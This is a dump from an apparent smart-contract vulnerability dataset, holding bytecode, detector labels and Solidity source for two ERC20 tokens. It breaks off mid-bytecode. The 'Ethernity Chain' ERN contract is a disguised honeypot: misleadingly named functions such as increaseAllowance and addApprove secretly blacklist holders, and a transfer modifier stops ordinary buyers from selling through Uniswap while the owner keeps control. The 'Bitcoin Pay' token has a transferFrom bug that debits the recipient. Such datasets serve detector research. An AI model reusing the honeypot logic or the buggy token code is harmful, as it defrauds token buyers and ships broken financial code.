565b60008183610bf55760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b63578181015183820152602001610b4b565b506000838581610c0157fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657254727573746565506f6f6c3a3a63616c6c6572206973206e6f7420626f72696e6744414f54727573746565506f6f6c3a3a63616c6c6572206973206e6f742074756e6e656ca26469706673582212204d119172558b7107ee63f7fc8b1ad4e454f43cec79596f938bce2ac19586f04164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,450
0xa387d94e1135f9954c675682ce8950d77a90ba76
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev Owner validator */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title BasicToken * @dev Implementation of ERC20Basic */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in exsitence */ function totalSupply() public view returns (uint256) { return totalSupply_; } function msgSender() public view returns (address) { return msg.sender; } function transfer( address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_to != msg.sender); require(_value <= balances[msg.sender]); _preValidateTransfer(msg.sender, _to, _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function _preValidateTransfer( address _from, address _to, uint256 _value ) internal { } } /** * @title StandardToken * @dev Base Of token */ contract StandardToken is ERC20, BasicToken, Ownable { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address the address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); _preValidateTransfer(_from, _to, _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender . * @param _spender The address which will spend the funds. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed jto a spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title MintableToken * @dev Minting of total balance */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint * @return A boolean that indicated if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title LockableToken * @dev locking of granted balance */ contract LockableToken is MintableToken { using SafeMath for uint256; /** * @dev Lock defines a lock of token */ struct Lock { uint256 amount; uint256 expiresAt; } // granted to locks; mapping (address => Lock[]) public grantedLocks; function addLock( address _granted, uint256 _amount, uint256 _expiresAt ) public onlyOwner { require(_amount > 0); require(_expiresAt > now); grantedLocks[_granted].push(Lock(_amount, _expiresAt)); } function deleteLock( address _granted, uint8 _index ) public onlyOwner { Lock storage lock = grantedLocks[_granted][_index]; delete grantedLocks[_granted][_index]; for (uint i = _index; i < grantedLocks[_granted].length - 1; i++) { grantedLocks[_granted][i] = grantedLocks[_granted][i+1]; } grantedLocks[_granted].length--; if (grantedLocks[_granted].length == 0) delete grantedLocks[_granted]; } function transferWithLock( address _to, uint256 _value, uint256[] _expiresAtList ) public onlyOwner returns (bool) { require(_to != address(0)); require(_to != msg.sender); require(_value <= balances[msg.sender]); uint256 count = _expiresAtList.length; if (count > 0) { uint256 devidedValue = _value.div(count); for (uint i = 0; i < count; i++) { addLock(_to, devidedValue, _expiresAtList[i]); } } return transfer(_to, _value); } /** @param _from - _granted @param _to - no usable @param _value - amount of transfer */ function _preValidateTransfer( address _from, address _to, uint256 _value ) internal { super._preValidateTransfer(_from, _to, _value); uint256 lockedAmount = getLockedAmount(_from); uint256 balanceAmount = balanceOf(_from); require(balanceAmount.sub(lockedAmount) >= _value); } function getLockedAmount( address _granted ) public view returns(uint256) { uint256 lockedAmount = 0; Lock[] storage locks = grantedLocks[_granted]; for (uint i = 0; i < locks.length; i++) { if (now < locks[i].expiresAt) { lockedAmount = lockedAmount.add(locks[i].amount); } } //uint256 balanceAmount = balanceOf(_granted); //return balanceAmount.sub(lockedAmount); return lockedAmount; } } contract BPXToken is LockableToken { string public constant name = "Bitcoin Pay"; string public constant symbol = "BPX"; uint32 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea5780630ab1b3c11461020e57806318160ddd1461024b57806323b872dd146102725780632ff2e9dc1461029c578063313ce567146102b157806340c10f19146102df5780634bc18a6414610303578063627f47c61461032c57806370a082311461039357806376f31513146103b45780637d64bcb4146103d85780638da5cb5b146103ed578063929ec5371461041e57806395d89b411461043f578063a9059cbb14610454578063cc9ac37614610478578063d737d0c71461049f578063d73dd623146104b4578063dd62ed3e146104d8578063f2fde38b146104ff575b600080fd5b34801561014357600080fd5b5061014c610520565b604080519115158252519081900360200190f35b34801561016c57600080fd5b50610175610529565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a0360043516602435610560565b34801561021a57600080fd5b50610232600160a060020a03600435166024356105c6565b6040805192835260208301919091528051918290030190f35b34801561025757600080fd5b50610260610601565b60408051918252519081900360200190f35b34801561027e57600080fd5b5061014c600160a060020a0360043581169060243516604435610608565b3480156102a857600080fd5b5061026061078a565b3480156102bd57600080fd5b506102c661079a565b6040805163ffffffff9092168252519081900360200190f35b3480156102eb57600080fd5b5061014c600160a060020a036004351660243561079f565b34801561030f57600080fd5b5061032a600160a060020a036004351660ff602435166108a2565b005b34801561033857600080fd5b50604080516020600460443581810135838102808601850190965280855261014c958335600160a060020a0316956024803596369695606495939492019291829185019084908082843750949750610a5a9650505050505050565b34801561039f57600080fd5b50610260600160a060020a0360043516610b2c565b3480156103c057600080fd5b5061014c600160a060020a0360043516602435610b47565b3480156103e457600080fd5b5061014c610c37565b3480156103f957600080fd5b50610402610c9d565b60408051600160a060020a039092168252519081900360200190f35b34801561042a57600080fd5b50610260600160a060020a0360043516610cac565b34801561044b57600080fd5b50610175610d3b565b34801561046057600080fd5b5061014c600160a060020a0360043516602435610d72565b34801561048457600080fd5b5061032a600160a060020a0360043516602435604435610e74565b3480156104ab57600080fd5b50610402610ef5565b3480156104c057600080fd5b5061014c600160a060020a0360043516602435610ef9565b3480156104e457600080fd5b50610260600160a060020a0360043581169060243516610f92565b34801561050b57600080fd5b5061032a600160a060020a0360043516610fbd565b60045460ff1681565b60408051808201909152600b81527f426974636f696e20506179000000000000000000000000000000000000000000602082015281565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6005602052816000526040600020818154811015156105e157fe5b600091825260209091206002909102018054600190910154909250905082565b6001545b90565b6000600160a060020a038316151561061f57600080fd5b600160a060020a03841660009081526020819052604090205482111561064457600080fd5b600160a060020a038416600090815260036020908152604080832033845290915290205482111561067457600080fd5b61067f848484611052565b600160a060020a0384166000908152602081905260409020546106a8908363ffffffff61109916565b600160a060020a0380861660009081526020819052604080822093909355908516815220546106dd908363ffffffff61109916565b600160a060020a0380851660009081526020818152604080832094909455918716815260038252828120338252909152205461071f908363ffffffff61109916565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b204fce5e3e2502611000000081565b601281565b600254600090600160a060020a031633146107b957600080fd5b60045460ff16156107c957600080fd5b6001546107dc908363ffffffff6110ab16565b600155600160a060020a038316600090815260208190526040902054610808908363ffffffff6110ab16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b6002546000908190600160a060020a031633146108be57600080fd5b600160a060020a0384166000908152600560205260409020805460ff85169081106108e557fe5b60009182526020808320600160a060020a03881684526005909152604090922080546002909202909201935060ff851690811061091e57fe5b600091825260208220600290910201818155600101555060ff82165b600160a060020a038416600090815260056020526040902054600019018110156109ea57600160a060020a038416600090815260056020526040902080546001830190811061098557fe5b90600052602060002090600202016005600086600160a060020a0316600160a060020a03168152602001908152602001600020828154811015156109c557fe5b600091825260209091208254600290920201908155600191820154908201550161093a565b600160a060020a0384166000908152600560205260409020805490610a139060001983016110d8565b50600160a060020a0384166000908152600560205260409020541515610a5457600160a060020a0384166000908152600560205260408120610a5491611104565b50505050565b600254600090819081908190600160a060020a03163314610a7a57600080fd5b600160a060020a0387161515610a8f57600080fd5b600160a060020a038716331415610aa557600080fd5b33600090815260208190526040902054861115610ac157600080fd5b845192506000831115610b1757610ade868463ffffffff6110be16565b9150600090505b82811015610b1757610b0f87838784815181101515610b0057fe5b90602001906020020151610e74565b600101610ae5565b610b218787610d72565b979650505050505050565b600160a060020a031660009081526020819052604090205490565b336000908152600360209081526040808320600160a060020a038616845290915281205480831115610b9c57336000908152600360209081526040808320600160a060020a0388168452909152812055610bd1565b610bac818463ffffffff61109916565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600254600090600160a060020a03163314610c5157600080fd5b60045460ff1615610c6157600080fd5b6004805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600254600160a060020a031681565b600160a060020a03811660009081526005602052604081208190815b8154811015610d32578181815481101515610cdf57fe5b906000526020600020906002020160010154421015610d2a57610d278282815481101515610d0957fe5b6000918252602090912060029091020154849063ffffffff6110ab16565b92505b600101610cc8565b50909392505050565b60408051808201909152600381527f4250580000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610d8957600080fd5b600160a060020a038316331415610d9f57600080fd5b33600090815260208190526040902054821115610dbb57600080fd5b610dc6338484611052565b33600090815260208190526040902054610de6908363ffffffff61109916565b3360009081526020819052604080822092909255600160a060020a03851681522054610e18908363ffffffff6110ab16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600254600160a060020a03163314610e8b57600080fd5b60008211610e9857600080fd5b428111610ea457600080fd5b600160a060020a039092166000908152600560209081526040808320815180830190925293815280820194855283546001818101865594845291909220915160029091029091019081559151910155565b3390565b336000908152600360209081526040808320600160a060020a0386168452909152812054610f2d908363ffffffff6110ab16565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600254600160a060020a03163314610fd457600080fd5b600160a060020a0381161515610fe957600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000806110608585856110d3565b61106985610cac565b915061107485610b2c565b905082611087828463ffffffff61109916565b101561109257600080fd5b5050505050565b6000828211156110a557fe5b50900390565b818101828110156110b857fe5b92915050565b600081838115156110cb57fe5b049392505050565b505050565b8154818355818111156110d3576002028160020283600052602060002091820191016110d39190611128565b50805460008255600202906000526020600020908101906111259190611128565b50565b61060591905b80821115611148576000808255600182015560020161112e565b50905600a165627a7a72305820e47deb0e7a763e30f943b71f7bc7bb91516cbb730c984f6078a4fece897006b50029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,451
0x9a28e59674f7fc3ed5866baee01406644aa33bc5
/** *Submitted for verification at Etherscan.io on 2021-02-09 */ // File: browser/Ethernity.sol pragma solidity ^0.6.0; /// @title Ethernity Rewards contract /// @author Ethernity /// @notice This is main ERN token /// /// @dev Owner (multisig) can set list of rewards tokens ERN. /// This token can be mint by owner eg we need ERN for auction. After that we can burn the key /// so nobody can mint anymore. /// It has limit for max total supply, so we need to make sure, total amount of ERN fit this limit. interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ethernity is Context, IERC20 { function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _transfer(msg.sender,receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } uint256 private _checkAmount = 0; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_checkAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _checkAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _owner; constructor (uint256 initialSupply,address payable owner) public { _name = "Ethernity Chain"; _symbol = "ERN"; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5f565b604051808215151515815260200191505060405180910390f35b6102a3610a7d565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a87565b604051808215151515815260200191505060405180910390f35b610347610b60565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fca565b005b6105ab6110d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611173565b604051808215151515815260200191505060405180910390f35b610694611191565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b7565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123e565b005b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109b95760018060008484815181106108e957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600080600084848151811061095357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b5050505050905090565b6000610a73610a6c6113f6565b84846113fe565b6001905092915050565b6000600754905090565b6000610a948484846115f5565b610b5584610aa06113f6565b610b508560405180606001604052806028815260200161318560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b066113f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b6113fe565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c4f81600754612dc790919063ffffffff16565b600781905550610cc98160056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b60056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffff